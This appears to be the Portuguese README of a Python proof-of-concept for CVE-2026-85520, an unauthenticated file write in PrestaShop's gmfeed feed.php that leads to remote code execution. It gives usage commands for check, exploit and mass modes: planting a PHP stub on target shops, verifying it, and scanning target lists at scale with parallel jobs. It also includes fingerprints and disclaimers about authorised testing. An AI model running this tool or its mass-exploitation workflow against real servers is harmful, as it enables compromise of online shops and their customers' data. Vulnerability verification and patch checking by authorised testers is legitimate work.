
PoC em Python para CVE-2026-85520: deteta e explora a escrita arbitrária de ficheiros sem autenticação no PrestaShop gmfeed feed.php para obter RCE, com varrimento em massa.
PoC em Python 3 para CVE-2026-85520 — módulo Google Merchant Center Feed (gmfeed) do MyPresta.eu / VEKIA para PrestaShop — gravação arbitrária de arquivo não autenticada em feed.php quando o modo “Save to file” / exportação por URL é utilizado. CVSS 3.1 9.3 Crítico (Software).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| Catálogo | https://pocbit.org/pocs/ |
| Módulo | gmfeed (Google Merchant Center Feed) |
| Correção do fornecedor | ≥ 2.3.10 (recomenda-se instalar 2.4.1+) |
| CWE | Problemas da classe CWE-20 / CWE-73 / CWE-434 (falta de autenticação + controle de caminho/conteúdo na gravação) |
gmfeed é um módulo comercial que gera um catálogo de produtos XML/CSV para o Google Merchant Center em lojas PrestaShop. Em versões antigas, quando o catálogo era gerado por URL e salvo em disco (Save to file / cron), o endpoint modules/gmfeed/feed.php podia aceitar, sem autenticação, com parâmetros opcionais, o nome do arquivo de saída, o caminho, a extensão e o conteúdo.
Com GET/POST crafted, o atacante pode gravar arquivos arbitrários no servidor (por exemplo, pocbit_xxxxx.php) e, em seguida, executá-los via web para obter execução remota de código (RCE). Isso significa o comprometimento total do servidor de e-commerce — teste apenas em ambientes de pentest autorizado / própria loja de laboratório.
Segundo o anúncio do fornecedor (MyPresta.eu): versões anteriores à 2.3.10 são afetadas; a correção adiciona uma chave específica da loja às URLs de save-to-file e desativa a gravação não autorizada. Sobrescrever o zip antigo não é suficiente — o módulo deve ser removido com “delete module files” e o 2.4.1 deve ser instalado limpo.
CVE-2026-85520 afeta o módulo gmfeed do PrestaShop (Google Merchant Center Feed da MyPresta.eu). O script de exportação feed.php, quando o modo save-to-disk é acessível via URL (exportsavefile=1 e parâmetros de exportação relacionados documentados nos changelogs do fornecedor), deixou de aplicar:
modules/gmfeed/ ou por meio de sequências de travessia.Impacto: gravação arbitrária de arquivo não autenticada → RCE (executar o .php enviado via HTTP).
Parâmetros públicos do fornecedor referenciados nas notas de versão incluem export_file_format, exportsavefile e opções personalizadas de nome de arquivo de exportação adicionadas na linha 2.3.x. Esta PoC alterna aliases comuns de parâmetros (exportfilename, exportfilecontent, export_path, etc.) contra:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| Modo | Comportamento |
|---|---|
| check | Detecta gmfeed (feed.php, config.xml, marcadores), analisa a versão do módulo, sinaliza < 2.3.10 |
| check --aggressive | Sonda leve de save-to-file (sem shell permanente; exportsavefile=0 no caminho da sonda) |
| exploit | Grava a sonda pocbit_*.php com o marcador POCBIT-85520-OK, verifica via ?pocbit=1 |
| exploit --dry-run | Apenas exporta as requisições da sonda (sem colocar shell) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | feed.php simulado local — deve mostrar exploited: true (verificação de sanidade) |
--force | Ignora as proteções de “módulo ausente / versão corrigida” |
Campos JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.
Segurança: O payload padrão é um stub PHP apenas com marcador, não um shell interativo completo. Remova os arquivos gravados após testes autorizados.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
Esperado: [LAB] verde, JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Verifique manualmente após o exploit:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
Saídas:
| Arquivo | Conteúdo |
|---|---|
cve_2026_85520_results.jsonl | Todas as linhas de verificação |
cve_2026_85520_exploit.jsonl | Todas as linhas de exploit |
hits.txt | Tab: URL, status, versão |
exploited.txt | Tab: URL, shell_url, versão |
Presença do módulo:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
Versão (se exposta):
/modules/gmfeed/config.xml
Artefatos de feed estáticos (não constituem prova de vulnerabilidade por si só):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
Nota: Muitas lojas executam ≥ 2.3.10 após o aviso da MyPresta de 2026 — espere patched_version ou write_or_verify_failed em listas de toda a internet.
feed.php).modules/gmfeed/ em busca de arquivos .php inesperados.Referência: Anúncio de correção de segurança da MyPresta.
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
Use apenas em sistemas que você possui ou para os quais tem autorização escrita explícita para testar. O acesso não autorizado é ilegal. O PoCbit fornece ferramentas de prova de conceito para validação defensiva e verificação de patches.
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520